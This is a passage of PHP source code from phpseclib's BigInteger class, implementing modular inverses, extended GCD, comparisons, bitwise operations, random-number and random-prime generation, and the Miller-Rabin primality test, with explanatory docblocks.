            $m = array_pad($m, $n, 0);
            $a = array(self::VALUE => $this->_array_repeat(0, $n + 1));
            for ($i = 0; $i < $n; ++$i) {
                $temp = $a[self::VALUE][0] + $x[$i] * $y[0];
                $temp = $temp - self::$baseFull * (self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31));
                $temp = $temp * $cache[self::DATA][$key];
                $temp = $temp - self::$baseFull * (self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31));
                $temp = $this->_add($this->_regularMultiply(array($x[$i]), $y), false, $this->_regularMultiply(array($temp), $m), false);
                $a = $this->_add($a[self::VALUE], false, $temp[self::VALUE], false);
                $a[self::VALUE] = array_slice($a[self::VALUE], 1);
            }
            if ($this->_compare($a[self::VALUE], false, $m, false) >= 0) {
                $a = $this->_subtract($a[self::VALUE], false, $m, false);
            }
            return $a[self::VALUE];
        }

/**
         * Prepare a number for use in Montgomery Modular Reductions
         *
         * @param array $x
         * @param array $n
         * @return array
         * @see self::_slidingWindow()
         * @access private
         * @see self::_montgomery()
         */
        function _prepMontgomery($x, $n)
        {
            $lhs = new static();
            $lhs->value = array_merge($this->_array_repeat(0, count($n)), $x);
            $rhs = new static();
            $rhs->value = $n;

list(, $temp) = $lhs->divide($rhs);
            return $temp->value;
        }

/**
         * Modular Inverse of a number mod 2**26 (eg. 67108864)
         *
         * Based off of the bnpInvDigit function implemented and justified in the following URL:
         *
         * {@link http://www-cs-students.stanford.edu/~tjw/jsbn/jsbn.js}
         *
         * The following URL provides more info:
         *
         * {@link http://groups.google.com/group/sci.crypt/msg/7a137205c1be7d85}
         *
         * As for why we do all the bitmasking...  strange things can happen when converting from floats to ints. For
         * instance, on some computers, var_dump((int) -4294967297) yields int(-1) and on others, it yields
         * int(-2147483648).  To avoid problems stemming from this, we use bitmasks to guarantee that ints aren't
         * auto-converted to floats.  The outermost bitmask is present because without it, there's no guarantee that
         * the "residue" returned would be the so-called "common residue".  We use fmod, in the last step, because the
         * maximum possible $x is 26 bits and the maximum $result is 16 bits.  Thus, we have to be able to handle up to
         * 40 bits, which only 64-bit floating points will support.
         *
         * Thanks to Pedro Gimeno Fortea for input!
         *
         * @param array $x
         * @return int
         * @see self::_montgomery()
         * @access private
         */
        function _modInverse67108864($x) // 2**26 == 67,108,864
        {
            $x = -$x[0];
            $result = $x & 0x3; // x**-1 mod 2**2
            $result = ($result * (2 - $x * $result)) & 0xF; // x**-1 mod 2**4
            $result = ($result * (2 - ($x & 0xFF) * $result)) & 0xFF; // x**-1 mod 2**8
            $result = ($result * ((2 - ($x & 0xFFFF) * $result) & 0xFFFF)) & 0xFFFF; // x**-1 mod 2**16
            $result = fmod($result * (2 - fmod($x * $result, self::$baseFull)), self::$baseFull); // x**-1 mod 2**26
            return $result & self::$maxDigit;
        }

/**
         * Calculates modular inverses.
         *
         * Say you have (30 mod 17 * x mod 17) mod 17 == 1.  x can be found using modular inverses.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger(30);
         *    $b = new \phpseclib\Math\BigInteger(17);
         *
         *    $c = $a->modInverse($b);
         *    echo $c->toString(); // outputs 4
         *
         *    echo "\r\n";
         *
         *    $d = $a->multiply($c);
         *    list(, $d) = $d->divide($b);
         *    echo $d; // outputs 1 (as per the definition of modular inverse)
         * ?>
         * </code>
         *
         * @param \phpseclib\Math\BigInteger $n
         * @return \phpseclib\Math\BigInteger|false
         * @access public
         * @internal See {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=21 HAC 14.64} for more information.
         */
        function modInverse($n)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $temp = new static();
                    $temp->value = gmp_invert($this->value, $n->value);

return ($temp->value === false) ? false : $this->_normalize($temp);
            }

static $zero, $one;
            if (!isset($zero)) {
                $zero = new static();
                $one = new static(1);
            }

// $x mod -$n == $x mod $n.
            $n = $n->abs();

if ($this->compare($zero) < 0) {
                $temp = $this->abs();
                $temp = $temp->modInverse($n);
                return $this->_normalize($n->subtract($temp));
            }

extract($this->extendedGCD($n));

if (!$gcd->equals($one)) {
                return false;
            }

$x = $x->compare($zero) < 0 ? $x->add($n) : $x;

return $this->compare($zero) < 0 ? $this->_normalize($n->subtract($x)) : $this->_normalize($x);
        }

/**
         * Calculates the greatest common divisor and Bezout's identity.
         *
         * Say you have 693 and 609.  The GCD is 21.  Bezout's identity states that there exist integers x and y such that
         * 693*x + 609*y == 21.  In point of fact, there are actually an infinite number of x and y combinations and which
         * combination is returned is dependent upon which mode is in use.  See
         * {@link http://en.wikipedia.org/wiki/B%C3%A9zout%27s_identity Bezout's identity - Wikipedia} for more information.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger(693);
         *    $b = new \phpseclib\Math\BigInteger(609);
         *
         *    extract($a->extendedGCD($b));
         *
         *    echo $gcd->toString() . "\r\n"; // outputs 21
         *    echo $a->toString() * $x->toString() + $b->toString() * $y->toString(); // outputs 21
         * ?>
         * </code>
         *
         * @param \phpseclib\Math\BigInteger $n
         * @return \phpseclib\Math\BigInteger
         * @access public
         * @internal Calculates the GCD using the binary xGCD algorithim described in
         *    {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=19 HAC 14.61}.  As the text above 14.61 notes,
         *    the more traditional algorithim requires "relatively costly multiple-precision divisions".
         */
        function extendedGCD($n)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    extract(gmp_gcdext($this->value, $n->value));

return array(
                        'gcd' => $this->_normalize(new static($g)),
                        'x' => $this->_normalize(new static($s)),
                        'y' => $this->_normalize(new static($t))
                    );
                case self::MODE_BCMATH:
                    // it might be faster to use the binary xGCD algorithim here, as well, but (1) that algorithim works
                    // best when the base is a power of 2 and (2) i don't think it'd make much difference, anyway.  as is,
                    // the basic extended euclidean algorithim is what we're using.

$u = $this->value;
                    $v = $n->value;

$a = '1';
                    $b = '0';
                    $c = '0';
                    $d = '1';

while (bccomp($v, '0', 0) != 0) {
                        $q = bcdiv($u, $v, 0);

$temp = $u;
                        $u = $v;
                        $v = bcsub($temp, bcmul($v, $q, 0), 0);

$temp = $a;
                        $a = $c;
                        $c = bcsub($temp, bcmul($a, $q, 0), 0);

$temp = $b;
                        $b = $d;
                        $d = bcsub($temp, bcmul($b, $q, 0), 0);
                    }

return array(
                        'gcd' => $this->_normalize(new static($u)),
                        'x' => $this->_normalize(new static($a)),
                        'y' => $this->_normalize(new static($b))
                    );
            }

$y = $n->copy();
            $x = $this->copy();
            $g = new static();
            $g->value = array(1);

while (!(($x->value[0] & 1) || ($y->value[0] & 1))) {
                $x->_rshift(1);
                $y->_rshift(1);
                $g->_lshift(1);
            }

$u = $x->copy();
            $v = $y->copy();

$a = new static();
            $b = new static();
            $c = new static();
            $d = new static();

$a->value = $d->value = $g->value = array(1);
            $b->value = $c->value = array();

while (!empty($u->value)) {
                while (!($u->value[0] & 1)) {
                    $u->_rshift(1);
                    if ((!empty($a->value) && ($a->value[0] & 1)) || (!empty($b->value) && ($b->value[0] & 1))) {
                        $a = $a->add($y);
                        $b = $b->subtract($x);
                    }
                    $a->_rshift(1);
                    $b->_rshift(1);
                }

while (!($v->value[0] & 1)) {
                    $v->_rshift(1);
                    if ((!empty($d->value) && ($d->value[0] & 1)) || (!empty($c->value) && ($c->value[0] & 1))) {
                        $c = $c->add($y);
                        $d = $d->subtract($x);
                    }
                    $c->_rshift(1);
                    $d->_rshift(1);
                }

if ($u->compare($v) >= 0) {
                    $u = $u->subtract($v);
                    $a = $a->subtract($c);
                    $b = $b->subtract($d);
                } else {
                    $v = $v->subtract($u);
                    $c = $c->subtract($a);
                    $d = $d->subtract($b);
                }
            }

return array(
                'gcd' => $this->_normalize($g->multiply($v)),
                'x' => $this->_normalize($c),
                'y' => $this->_normalize($d)
            );
        }

/**
         * Calculates the greatest common divisor
         *
         * Say you have 693 and 609.  The GCD is 21.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger(693);
         *    $b = new \phpseclib\Math\BigInteger(609);
         *
         *    $gcd = a->extendedGCD($b);
         *
         *    echo $gcd->toString() . "\r\n"; // outputs 21
         * ?>
         * </code>
         *
         * @param \phpseclib\Math\BigInteger $n
         * @return \phpseclib\Math\BigInteger
         * @access public
         */
        function gcd($n)
        {
            extract($this->extendedGCD($n));
            return $gcd;
        }

/**
         * Absolute value.
         *
         * @return \phpseclib\Math\BigInteger
         * @access public
         */
        function abs()
        {
            $temp = new static();

switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $temp->value = gmp_abs($this->value);
                    break;
                case self::MODE_BCMATH:
                    $temp->value = (bccomp($this->value, '0', 0) < 0) ? substr($this->value, 1) : $this->value;
                    break;
                default:
                    $temp->value = $this->value;
            }

return $temp;
        }

/**
         * Compares two numbers.
         *
         * Although one might think !$x->compare($y) means $x != $y, it, in fact, means the opposite.  The reason for this is
         * demonstrated thusly:
         *
         * $x  > $y: $x->compare($y)  > 0
         * $x  < $y: $x->compare($y)  < 0
         * $x == $y: $x->compare($y) == 0
         *
         * Note how the same comparison operator is used.  If you want to test for equality, use $x->equals($y).
         *
         * @param \phpseclib\Math\BigInteger $y
         * @return int that is < 0 if $this is less than $y; > 0 if $this is greater than $y, and 0 if they are equal.
         * @access public
         * @see self::equals()
         * @internal Could return $this->subtract($x), but that's not as fast as what we do do.
         */
        function compare($y)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $r = gmp_cmp($this->value, $y->value);
                    if ($r < -1) {
                        $r = -1;
                    }
                    if ($r > 1) {
                        $r = 1;
                    }
                    return $r;
                case self::MODE_BCMATH:
                    return bccomp($this->value, $y->value, 0);
            }

return $this->_compare($this->value, $this->is_negative, $y->value, $y->is_negative);
        }

/**
         * Compares two numbers.
         *
         * @param array $x_value
         * @param bool $x_negative
         * @param array $y_value
         * @param bool $y_negative
         * @return int
         * @see self::compare()
         * @access private
         */
        function _compare($x_value, $x_negative, $y_value, $y_negative)
        {
            if ($x_negative != $y_negative) {
                return (!$x_negative && $y_negative) ? 1 : -1;
            }

$result = $x_negative ? -1 : 1;

if (count($x_value) != count($y_value)) {
                return (count($x_value) > count($y_value)) ? $result : -$result;
            }
            $size = max(count($x_value), count($y_value));

$x_value = array_pad($x_value, $size, 0);
            $y_value = array_pad($y_value, $size, 0);

for ($i = count($x_value) - 1; $i >= 0; --$i) {
                if ($x_value[$i] != $y_value[$i]) {
                    return ($x_value[$i] > $y_value[$i]) ? $result : -$result;
                }
            }

return 0;
        }

/**
         * Tests the equality of two numbers.
         *
         * If you need to see if one number is greater than or less than another number, use BigInteger::compare()
         *
         * @param \phpseclib\Math\BigInteger $x
         * @return bool
         * @access public
         * @see self::compare()
         */
        function equals($x)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    return gmp_cmp($this->value, $x->value) == 0;
                default:
                    return $this->value === $x->value && $this->is_negative == $x->is_negative;
            }
        }

/**
         * Set Precision
         *
         * Some bitwise operations give different results depending on the precision being used.  Examples include left
         * shift, not, and rotates.
         *
         * @param int $bits
         * @access public
         */
        function setPrecision($bits)
        {
            $this->precision = $bits;
            if (MATH_BIGINTEGER_MODE != self::MODE_BCMATH) {
                $this->bitmask = new static(chr((1 << ($bits & 0x7)) - 1) . str_repeat(chr(0xFF), $bits >> 3), 256);
            } else {
                $this->bitmask = new static(bcpow('2', $bits, 0));
            }

$temp = $this->_normalize($this);
            $this->value = $temp->value;
        }

/**
         * Logical And
         *
         * @param \phpseclib\Math\BigInteger $x
         * @access public
         * @return \phpseclib\Math\BigInteger
         * @internal Implemented per a request by Lluis Pamies i Juarez <lluis _a_ pamies.cat>
         */
        function bitwise_and($x)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $temp = new static();
                    $temp->value = gmp_and($this->value, $x->value);

return $this->_normalize($temp);
                case self::MODE_BCMATH:
                    $left = $this->toBytes();
                    $right = $x->toBytes();

$length = max(strlen($left), strlen($right));

$left = str_pad($left, $length, chr(0), STR_PAD_LEFT);
                    $right = str_pad($right, $length, chr(0), STR_PAD_LEFT);

return $this->_normalize(new static($left & $right, 256));
            }

$result = $this->copy();

$length = min(count($x->value), count($this->value));

$result->value = array_slice($result->value, 0, $length);

for ($i = 0; $i < $length; ++$i) {
                $result->value[$i] &= $x->value[$i];
            }

return $this->_normalize($result);
        }

/**
         * Logical Or
         *
         * @param \phpseclib\Math\BigInteger $x
         * @access public
         * @return \phpseclib\Math\BigInteger
         * @internal Implemented per a request by Lluis Pamies i Juarez <lluis _a_ pamies.cat>
         */
        function bitwise_or($x)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $temp = new static();
                    $temp->value = gmp_or($this->value, $x->value);

return $this->_normalize($temp);
                case self::MODE_BCMATH:
                    $left = $this->toBytes();
                    $right = $x->toBytes();

$length = max(strlen($left), strlen($right));

$left = str_pad($left, $length, chr(0), STR_PAD_LEFT);
                    $right = str_pad($right, $length, chr(0), STR_PAD_LEFT);

return $this->_normalize(new static($left | $right, 256));
            }

$length = max(count($this->value), count($x->value));
            $result = $this->copy();
            $result->value = array_pad($result->value, $length, 0);
            $x->value = array_pad($x->value, $length, 0);

for ($i = 0; $i < $length; ++$i) {
                $result->value[$i] |= $x->value[$i];
            }

return $this->_normalize($result);
        }

/**
         * Logical Exclusive-Or
         *
         * @param \phpseclib\Math\BigInteger $x
         * @access public
         * @return \phpseclib\Math\BigInteger
         * @internal Implemented per a request by Lluis Pamies i Juarez <lluis _a_ pamies.cat>
         */
        function bitwise_xor($x)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $temp = new static();
                    $temp->value = gmp_xor(gmp_abs($this->value), gmp_abs($x->value));
                    return $this->_normalize($temp);
                case self::MODE_BCMATH:
                    $left = $this->toBytes();
                    $right = $x->toBytes();

$length = max(strlen($left), strlen($right));

$left = str_pad($left, $length, chr(0), STR_PAD_LEFT);
                    $right = str_pad($right, $length, chr(0), STR_PAD_LEFT);

return $this->_normalize(new static($left ^ $right, 256));
            }

$length = max(count($this->value), count($x->value));
            $result = $this->copy();
            $result->is_negative = false;
            $result->value = array_pad($result->value, $length, 0);
            $x->value = array_pad($x->value, $length, 0);

for ($i = 0; $i < $length; ++$i) {
                $result->value[$i] ^= $x->value[$i];
            }

return $this->_normalize($result);
        }

/**
         * Logical Not
         *
         * @access public
         * @return \phpseclib\Math\BigInteger
         * @internal Implemented per a request by Lluis Pamies i Juarez <lluis _a_ pamies.cat>
         */
        function bitwise_not()
        {
            // calculuate "not" without regard to $this->precision
            // (will always result in a smaller number.  ie. ~1 isn't 1111 1110 - it's 0)
            $temp = $this->toBytes();
            if ($temp == '') {
                return $this->_normalize(new static());
            }
            $pre_msb = decbin(ord($temp[0]));
            $temp = ~$temp;
            $msb = decbin(ord($temp[0]));
            if (strlen($msb) == 8) {
                $msb = substr($msb, strpos($msb, '0'));
            }
            $temp[0] = chr(bindec($msb));

// see if we need to add extra leading 1's
            $current_bits = strlen($pre_msb) + 8 * strlen($temp) - 8;
            $new_bits = $this->precision - $current_bits;
            if ($new_bits <= 0) {
                return $this->_normalize(new static($temp, 256));
            }

// generate as many leading 1's as we need to.
            $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
            $this->_base256_lshift($leading_ones, $current_bits);

$temp = str_pad($temp, strlen($leading_ones), chr(0), STR_PAD_LEFT);

return $this->_normalize(new static($leading_ones | $temp, 256));
        }

/**
         * Logical Right Shift
         *
         * Shifts BigInteger's by $shift bits, effectively dividing by 2**$shift.
         *
         * @param int $shift
         * @return \phpseclib\Math\BigInteger
         * @access public
         * @internal The only version that yields any speed increases is the internal version.
         */
        function bitwise_rightShift($shift)
        {
            $temp = new static();

switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    static $two;

if (!isset($two)) {
                        $two = gmp_init('2');
                    }

$temp->value = gmp_div_q($this->value, gmp_pow($two, $shift));

break;
                case self::MODE_BCMATH:
                    $temp->value = bcdiv($this->value, bcpow('2', $shift, 0), 0);

break;
                default: // could just replace _lshift with this, but then all _lshift() calls would need to be rewritten
                    // and I don't want to do that...
                    $temp->value = $this->value;
                    $temp->_rshift($shift);
            }

return $this->_normalize($temp);
        }

/**
         * Logical Left Shift
         *
         * Shifts BigInteger's by $shift bits, effectively multiplying by 2**$shift.
         *
         * @param int $shift
         * @return \phpseclib\Math\BigInteger
         * @access public
         * @internal The only version that yields any speed increases is the internal version.
         */
        function bitwise_leftShift($shift)
        {
            $temp = new static();

switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    static $two;

if (!isset($two)) {
                        $two = gmp_init('2');
                    }

$temp->value = gmp_mul($this->value, gmp_pow($two, $shift));

break;
                case self::MODE_BCMATH:
                    $temp->value = bcmul($this->value, bcpow('2', $shift, 0), 0);

break;
                default: // could just replace _rshift with this, but then all _lshift() calls would need to be rewritten
                    // and I don't want to do that...
                    $temp->value = $this->value;
                    $temp->_lshift($shift);
            }

return $this->_normalize($temp);
        }

/**
         * Logical Left Rotate
         *
         * Instead of the top x bits being dropped they're appended to the shifted bit string.
         *
         * @param int $shift
         * @return \phpseclib\Math\BigInteger
         * @access public
         */
        function bitwise_leftRotate($shift)
        {
            $bits = $this->toBytes();

if ($this->precision > 0) {
                $precision = $this->precision;
                if (MATH_BIGINTEGER_MODE == self::MODE_BCMATH) {
                    $mask = $this->bitmask->subtract(new static(1));
                    $mask = $mask->toBytes();
                } else {
                    $mask = $this->bitmask->toBytes();
                }
            } else {
                $temp = ord($bits[0]);
                for ($i = 0; $temp >> $i; ++$i) {
                }
                $precision = 8 * strlen($bits) - 8 + $i;
                $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
            }

if ($shift < 0) {
                $shift += $precision;
            }
            $shift %= $precision;

if (!$shift) {
                return $this->copy();
            }

$left = $this->bitwise_leftShift($shift);
            $left = $left->bitwise_and(new static($mask, 256));
            $right = $this->bitwise_rightShift($precision - $shift);
            $result = MATH_BIGINTEGER_MODE != self::MODE_BCMATH ? $left->bitwise_or($right) : $left->add($right);
            return $this->_normalize($result);
        }

/**
         * Logical Right Rotate
         *
         * Instead of the bottom x bits being dropped they're prepended to the shifted bit string.
         *
         * @param int $shift
         * @return \phpseclib\Math\BigInteger
         * @access public
         */
        function bitwise_rightRotate($shift)
        {
            return $this->bitwise_leftRotate(-$shift);
        }

/**
         * Generates a random BigInteger
         *
         * Byte length is equal to $length. Uses \phpseclib\Crypt\Random if it's loaded and mt_rand if it's not.
         *
         * @param int $size
         * @return \phpseclib\Math\BigInteger
         * @access private
         */
        function _random_number_helper($size)
        {
            if (class_exists('\phpseclib\Crypt\Random')) {
                $random = Random::string($size);
            } else {
                $random = '';

if ($size & 1) {
                    $random .= chr(mt_rand(0, 255));
                }

$blocks = $size >> 1;
                for ($i = 0; $i < $blocks; ++$i) {
                    // mt_rand(-2147483648, 0x7FFFFFFF) always produces -2147483648 on some systems
                    $random .= pack('n', mt_rand(0, 0xFFFF));
                }
            }

return new static($random, 256);
        }

/**
         * Generate a random number
         *
         * Returns a random number between $min and $max where $min and $max
         * can be defined using one of the two methods:
         *
         * $min->random($max)
         * $max->random($min)
         *
         * @param \phpseclib\Math\BigInteger $arg1
         * @param \phpseclib\Math\BigInteger $arg2
         * @return \phpseclib\Math\BigInteger
         * @access public
         * @internal The API for creating random numbers used to be $a->random($min, $max), where $a was a BigInteger object.
         *           That method is still supported for BC purposes.
         */
        function random($arg1, $arg2 = false)
        {
            if ($arg1 === false) {
                return false;
            }

if ($arg2 === false) {
                $max = $arg1;
                $min = $this;
            } else {
                $min = $arg1;
                $max = $arg2;
            }

$compare = $max->compare($min);

if (!$compare) {
                return $this->_normalize($min);
            } elseif ($compare < 0) {
                // if $min is bigger then $max, swap $min and $max
                $temp = $max;
                $max = $min;
                $min = $temp;
            }

static $one;
            if (!isset($one)) {
                $one = new static(1);
            }

$max = $max->subtract($min->subtract($one));
            $size = strlen(ltrim($max->toBytes(), chr(0)));

/*
            doing $random % $max doesn't work because some numbers will be more likely to occur than others.
            eg. if $max is 140 and $random's max is 255 then that'd mean both $random = 5 and $random = 145
            would produce 5 whereas the only value of random that could produce 139 would be 139. ie.
            not all numbers would be equally likely. some would be more likely than others.

creating a whole new random number until you find one that is within the range doesn't work
            because, for sufficiently small ranges, the likelihood that you'd get a number within that range
            would be pretty small. eg. with $random's max being 255 and if your $max being 1 the probability
            would be pretty high that $random would be greater than $max.

phpseclib works around this using the technique described here:

http://crypto.stackexchange.com/questions/5708/creating-a-small-number-from-a-cryptographically-secure-random-string
        */
            $random_max = new static(chr(1) . str_repeat("\0", $size), 256);
            $random = $this->_random_number_helper($size);

list($max_multiple) = $random_max->divide($max);
            $max_multiple = $max_multiple->multiply($max);

while ($random->compare($max_multiple) >= 0) {
                $random = $random->subtract($max_multiple);
                $random_max = $random_max->subtract($max_multiple);
                $random = $random->bitwise_leftShift(8);
                $random = $random->add($this->_random_number_helper(1));
                $random_max = $random_max->bitwise_leftShift(8);
                list($max_multiple) = $random_max->divide($max);
                $max_multiple = $max_multiple->multiply($max);
            }
            list(, $random) = $random->divide($max);

return $this->_normalize($random->add($min));
        }

/**
         * Generate a random prime number.
         *
         * If there's not a prime within the given range, false will be returned.
         * If more than $timeout seconds have elapsed, give up and return false.
         *
         * @param \phpseclib\Math\BigInteger $arg1
         * @param \phpseclib\Math\BigInteger $arg2
         * @param int $timeout
         * @return Math_BigInteger|false
         * @access public
         * @internal See {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap4.pdf#page=15 HAC 4.44}.
         */
        function randomPrime($arg1, $arg2 = false, $timeout = false)
        {
            if ($arg1 === false) {
                return false;
            }

if ($arg2 === false) {
                $max = $arg1;
                $min = $this;
            } else {
                $min = $arg1;
                $max = $arg2;
            }

$compare = $max->compare($min);

if (!$compare) {
                return $min->isPrime() ? $min : false;
            } elseif ($compare < 0) {
                // if $min is bigger then $max, swap $min and $max
                $temp = $max;
                $max = $min;
                $min = $temp;
            }

static $one, $two;
            if (!isset($one)) {
                $one = new static(1);
                $two = new static(2);
            }

$start = time();

$x = $this->random($min, $max);

// gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
            if (MATH_BIGINTEGER_MODE == self::MODE_GMP && extension_loaded('gmp')) {
                $p = new static();
                $p->value = gmp_nextprime($x->value);

if ($p->compare($max) <= 0) {
                    return $p;
                }

if (!$min->equals($x)) {
                    $x = $x->subtract($one);
                }

return $x->randomPrime($min, $x);
            }

if ($x->equals($two)) {
                return $x;
            }

$x->_make_odd();
            if ($x->compare($max) > 0) {
                // if $x > $max then $max is even and if $min == $max then no prime number exists between the specified range
                if ($min->equals($max)) {
                    return false;
                }
                $x = $min->copy();
                $x->_make_odd();
            }

$initial_x = $x->copy();

while (true) {
                if ($timeout !== false && time() - $start > $timeout) {
                    return false;
                }

if ($x->isPrime()) {
                    return $x;
                }

$x = $x->add($two);

if ($x->compare($max) > 0) {
                    $x = $min->copy();
                    if ($x->equals($two)) {
                        return $x;
                    }
                    $x->_make_odd();
                }

if ($x->equals($initial_x)) {
                    return false;
                }
            }
        }

/**
         * Make the current number odd
         *
         * If the current number is odd it'll be unchanged.  If it's even, one will be added to it.
         *
         * @see self::randomPrime()
         * @access private
         */
        function _make_odd()
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    gmp_setbit($this->value, 0);
                    break;
                case self::MODE_BCMATH:
                    if ($this->value[strlen($this->value) - 1] % 2 == 0) {
                        $this->value = bcadd($this->value, '1');
                    }
                    break;
                default:
                    $this->value[0] |= 1;
            }
        }

/**
         * Checks a numer to see if it's prime
         *
         * Assuming the $t parameter is not set, this function has an error rate of 2**-80.  The main motivation for the
         * $t parameter is distributability.  BigInteger::randomPrime() can be distributed across multiple pageloads
         * on a website instead of just one.
         *
         * @param \phpseclib\Math\BigInteger $t
         * @return bool
         * @access public
         * @internal Uses the
         *     {@link http://en.wikipedia.org/wiki/Miller%E2%80%93Rabin_primality_test Miller-Rabin primality test}.  See
         *     {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap4.pdf#page=8 HAC 4.24}.
         */
        function isPrime($t = false)
        {
            $length = strlen($this->toBytes());

if (!$t) {
                // see HAC 4.49 "Note (controlling the error probability)"
                // @codingStandardsIgnoreStart
                if ($length >= 163) {
                    $t = 2;
                } // floor(1300 / 8)
                else if ($length >= 106) {
                    $t = 3;
                } // floor( 850 / 8)
                else if ($length >= 81) {
                    $t = 4;
                } // floor( 650 / 8)
                else if ($length >= 68) {
                    $t = 5;
                } // floor( 550 / 8)
                else if ($length >= 56) {
                    $t = 6;
                } // floor( 450 / 8)
                else if ($length >= 50) {
                    $t = 7;
                } // floor( 400 / 8)
                else if ($length >= 43) {
                    $t = 8;
                } // floor( 350 / 8)
                else if ($length >= 37) {
                    $t = 9;
                } // floor( 300 / 8)
                else if ($length >= 31) {
                    $t = 12;
                } // floor( 250 / 8)
                else if ($length >= 25) {
                    $t = 15;
                } // floor( 200 / 8)
                else if ($length >= 18) {
                    $t = 18;
                } // floor( 150 / 8)
                else {
                    $t = 27;
                }
                // @codingStandardsIgnoreEnd
            }

// ie. gmp_testbit($this, 0)
            // ie. isEven() or !isOdd()
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    return gmp_prob_prime($this->value, $t) != 0;
                case self::MODE_BCMATH:
                    if ($this->value === '2') {
                        return true;
                    }
                    if ($this->value[strlen($this->value) - 1] % 2 == 0) {
                        return false;
                    }
                    break;
                default:
                    if ($this->value == array(2)) {
                        return true;
                    }
                    if (~$this->value[0] & 1) {
                        return false;
                    }
            }

static $primes, $zero, $one, $two;

if (!isset($primes)) {
                $primes = array(
                    3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59,
                    61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137,
                    139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227,
                    229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313,
                    317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419,
                    421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509,
                    521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617,
                    619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727,
                    733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829,
                    839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947,
                    953, 967, 971, 977, 983, 991, 997
                );

if (MATH_BIGINTEGER_MODE != self::MODE_INTERNAL) {
                    for ($i = 0; $i < count($primes); ++$i) {
                        $primes[$i] = new static($primes[$i]);
                    }
                }

$zero = new static();
                $one = new static(1);
                $two = new static(2);
            }

if ($this->equals($one)) {
                return false;
            }

// see HAC 4.4.1 "Random search for probable primes"
            if (MATH_BIGINTEGER_MODE != self::MODE_INTERNAL) {
                foreach ($primes as $prime) {
                    list(, $r) = $this->divide($prime);
                    if ($r->equals($zero)) {
                        return $this->equals($prime);
                    }
                }
            } else {
                $value = $this->value;
                foreach ($primes as $prime) {
                    list(, $r) = $this->_divide_digit($value, $prime);
                    if (!$r) {
                        return count($value) == 1 && $value[0] == $prime;
                    }
                }
            }

$n = $this->copy();
            $n_1 = $n->subtract($one);
            $n_2 = $n->subtract($two);

$r = $n_1->copy();
            $r_value = $r->value;
            // ie. $s = gmp_scan1($n, 0) and $r = gmp_div_q($n, gmp_pow(gmp_init('2'), $s));
            if (MATH_BIGINTEGER_MODE == self::MODE_BCMATH) {
                $s = 0;
                // if $n was 1, $r would be 0 and this would be an infinite loop, hence our $this->equals($one) check earlier
                while ($r->value[strlen($r->value) - 1] % 2 == 0) {
                    $r->value = bcdiv($r->value, '2', 0);
                    ++$s;
                }
            } else {
                for ($i = 0, $r_length = count($r_value); $i < $r_length; ++$i) {
                    $temp = ~$r_value[$i] & 0xFFFFFF;
                    for ($j = 1; ($temp >> $j) & 1; ++$j) {
                    }
                    if ($j != 25) {
                        break;
                    }
                }
                $s = 26 * $i + $j;
                $r->_rshift($s);
            }

for ($i = 0; $i < $t; ++$i) {
                $a = $this->random($two, $n_2);
                $y = $a->modPow($r, $n);

if (!$y->equals($one) && !$y->equals($n_1)) {
                    for ($j = 1; $j < $s && !$y->equals($n_1); ++$j) {
                        $y = $y->modPow($two, $n);
                        if ($y->equals($one)) {
                            return false;
                        }
                    }

if (!$y->equals($n_1)) {
                        return false;
                    }
                }
            }
            return true;
        }

/**
         * Logical Left Shift
         *
         * Shifts BigInteger's by $shift bits.
         *
         * @param int $shift
         * @access private
         */
        function _lshift($shift)
        {
            if ($shift == 0) {
                return;
            }

$num_digits = (int)($shift / self::$base);
            $shift %= self::$base;
            $shift = 1 << $shift;

$carry = 0;

for ($i = 0; $i < count($this->value); ++$i) {
                $temp = $this->value[$i] * $shift + $carry;
                $carry = self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
                $this->value[$i] = (int)($temp - $carry * self::$baseFull);
            }

if ($carry) {
                $this->value[count($this->value)] = $carry;
            }

while ($num_digits--) {
                array_unshift($this->value, 0);
            }
        }

/**
         * Logical Right Shift
         *
         * Shifts BigInteger's by $shift bits.
